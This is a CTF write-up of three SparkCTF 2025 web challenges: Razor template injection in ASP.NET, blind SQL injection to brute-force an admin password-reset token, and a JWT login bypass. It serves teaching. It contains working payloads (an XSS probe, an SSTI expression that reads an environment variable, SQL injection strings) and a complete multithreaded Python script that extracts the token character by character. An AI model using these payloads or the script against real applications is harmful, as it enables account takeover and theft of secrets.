alt text These are the writeups for 2 of the web challenges presented in SparkCTF 2025. The first one is an SSTI vulnerability in ASP.NET with Razor, and the second one is about using Blind SQL Injection to bruteforce some kind of token, and requires more logical thinking. Let’s get into it!

BugReportGen

Given the challenge name, you can figure out this app is about generating vulnerability reports. As you can see here:

[{C08CBBBD-5BC5-4B90-98B8-FE799BCD0186}.png]

Let’s play with it a bit, throw test all over and see how the report is generated.

[{9BDB6B1E-B738-4D75-8F10-68470B76A8F1}.png]

It reflects our input at the bottom of the page, this is important information, as it opens up the door for different injection attacks. Before getting into the juicy part, let’s understand the source code, here is the folder structure:

[{4CF38D07-596A-4DE2-8D88-83216A84CFED}.png]

In the index.cshtml file, there is something that stands out, could you figure out what it is?

[{DA3337F5-DD20-4248-9DDD-1FC7675D5124}.png]

If you guessed @Html.Raw(Model.RenderedOutput), then you are correct!

[Pasted image 20250225183143.png]

My brain was like, ‘Raw’ huh, there might be an injection of some kind then. Let’s try a basic XSS script

<img src=1 onerror="alert('Karrab was here')">

Not to miss any possible injection points, I threw the payload in every input.

[Pasted image 20250225184223.png]

We got a hit! It’s now confirmed the app is vulnerable to Cross-Site Scripting. It’s pretty clear now the description field is vulnerable.

[Pasted image 20250225184932.png]

But seeing how the application works, and where the flag is stored, I don’t think XSS will help us get anywhere from here as the compose.yaml file tells us the flag is an environment variable.

[Pasted image 20250225190424.png]

Let’s see what @Html.Raw(Model.RenderedOutput) could also be prone to.

After some research, I found this this article, SSTI in ASP.NET Razor.

Following along, we get promising results

[{4B22BD01-21C6-4E17-9D8A-6BA44AEDE32B}.png]

gives:

[{B7EEEF7F-A923-4586-9493-4656373EB633}.png]

Essentially, we can execute C# code within these braces, it’s that simple.

@{
  // C# code
}

All we need now is to read the FLAG environment variable! Let’s pull some AI, and we get our payload! [{79FC163B-5F39-4171-9512-A0064E0622DB}.png]

@System.Environment.GetEnvironmentVariable("FLAG")

There goes our flag! [{ABB07F72-9A41-4018-BA9E-4101B30147A9}.png]

Grades

Going to the app link what we can see is essentially two pages; a login page here:

alt text

and a “Grade Search” page:

alt text

I played with these functionalities for a bit but it didn’t yield any considerable results. Moving on to the source code.

The file structure is pretty basic, an app.py file which contains the logic of the applicatoin and some templates which are simply the views. The app also has a whole lot of routes, as you can see down here:

alt text

To save myself some time, I tried to figure out how the application handles the flag instead of reading everything from the beginning The flag is seen at the /admin endpoint.

alt text

Let’s give it a visit

alt text

Alright then, time to start reading some code while asking the following question; how can I login as an admin?

One of the very first things I came across was this SQL Injection vulnerability at /grades. The code includes user input directly in the query, instead of using prepared statements.

alt text

Could I exploit this to read the admin password and call it an easy win? Well, No, for two reasons: First, the app doesn’t show me any results even after successful SQLi exploitation

alt text

And it requires admin authentication btw not just a regular user.

Second, the admin password is hashed, and cracking it is probably not an option.

But on second thought, since this payload gives us a different response, we can exploit blind SQLi to read whatever we want from the database. Let’s keep that in mind. alt text

If you didn’t understand this last part, or if you don’t know what Blind SQL Injection is, I suggest reading this guide from PortSwigger.

Alright then, how about leveraging SQLi to update the user password instead? This could be it! Let’s try this payload just to see what happens, (if this works I’ll hash the password don’t worry)

a%'; UPDATE users SET reset_token='test' WHERE username='admin'; -- -

And Boom! Internal Server Error!

alt text

Why didn’t this work? Is my payload that bad? I had to spin up the app locally and keep investigating, turns out this was the reason: alt text

we can’t just append a ; and execute statements left and right. I have to use another way then. Checking the endpoints that are available, we can list:

  • /grades
  • /login
  • /index
  • /reset-password
  • /update-password

The last two could be the final pieces of the puzzle. /reset-password takes a username as a parameter and will then generate a random reset_token for that user and save it the database. (It also sends him an email but that’s not really implemented). alt text

And then the /update-password takes a token and the new password, it would check the database for whoever user this reset_token corresponds to and reset his password. alt text

I think we can orchestrate and attack here! What do you think? How about firing up a password reset request for the admin account, then leveraging the SQLi we found earlier to blindly bruteforce the reset_token. And eventually use it to access the admin panel!

Let’s pull up some Python

import requests
import string
import concurrent.futures

URL = "https://grades.espark.tn/grades"
charset = string.digits + string.ascii_lowercase
reset_token = ""
session = requests.Session() 

def check_condition(payload):
    data = {"search_query": payload}
    r = session.post(URL, data=data)
    return "You need to be authenticated to see results" in r.text 

def find_length():
    for i in range(10, 100):
        if check_condition(f"a%' AND (SELECT LENGTH(reset_token) FROM users WHERE username='admin')={i}--"):
            print(f"Reset token length: {i}")
            return i
    return 0

def extract_char(index):
    for char in charset:
        payload = f"a%' AND (SELECT SUBSTR(reset_token,{index},1) FROM users WHERE username='admin')='{char}'--"
        if check_condition(payload):
            print(f"Found char at {index}: {char}")
            return char
    return ""

def extract_reset_token(length):
    global reset_token
    with concurrent.futures.ThreadPoolExecutor(max_workers=5) as executor:  # 5 threads for speed
        results = list(executor.map(extract_char, range(1, length + 1)))
    reset_token = "".join(results)
    print(f"Admin's reset token: {reset_token}")

length = find_length()
if length:
    extract_reset_token(length)

It was pretty quick after I added multi-threading alt text

Here is our token 5e2221129af6430407cabe87f6f92a80, resetting the admin password:

alt text

logging in!

alt text

The flag!

alt text

Capitalism

This is more of a bonus one honestly, because my solution and probably 90% of the other submissions were unintended solutions!

This challenge has practically no front end, so the work will be mostly with the source code, it also had the most basic file structure of all the other challenges:

alt text

The app only has 3 functions:

  • filesHandler
  • generateJWT
  • loginHandler

The filesHandler is used to read files from the files system (spoiler: I can read any file and the flag is at /flag.txt), but it requires admin authentication.

alt text

The generateJWT function takes an employee_id and a role and makes a jwt out of them

alt text

This is how the roles are defined

var employeeDB = map[int]string{
    1: "guest",
    2: "employee",
    0: "admin",
}

What the loginHandler does (or tries to do lol) is get an employee_id and a password, then check if the provided password is equal to the admin password, and if so it will log you in as an administrator.

alt text

But there is some weird behavior that happens (It’s your task now to figure it out) which makes this request return a valid jwt immediately without having to specify a password!

alt text

I took that token and used it to login as an admin and read the flag using the filesHandler function!

Peace out!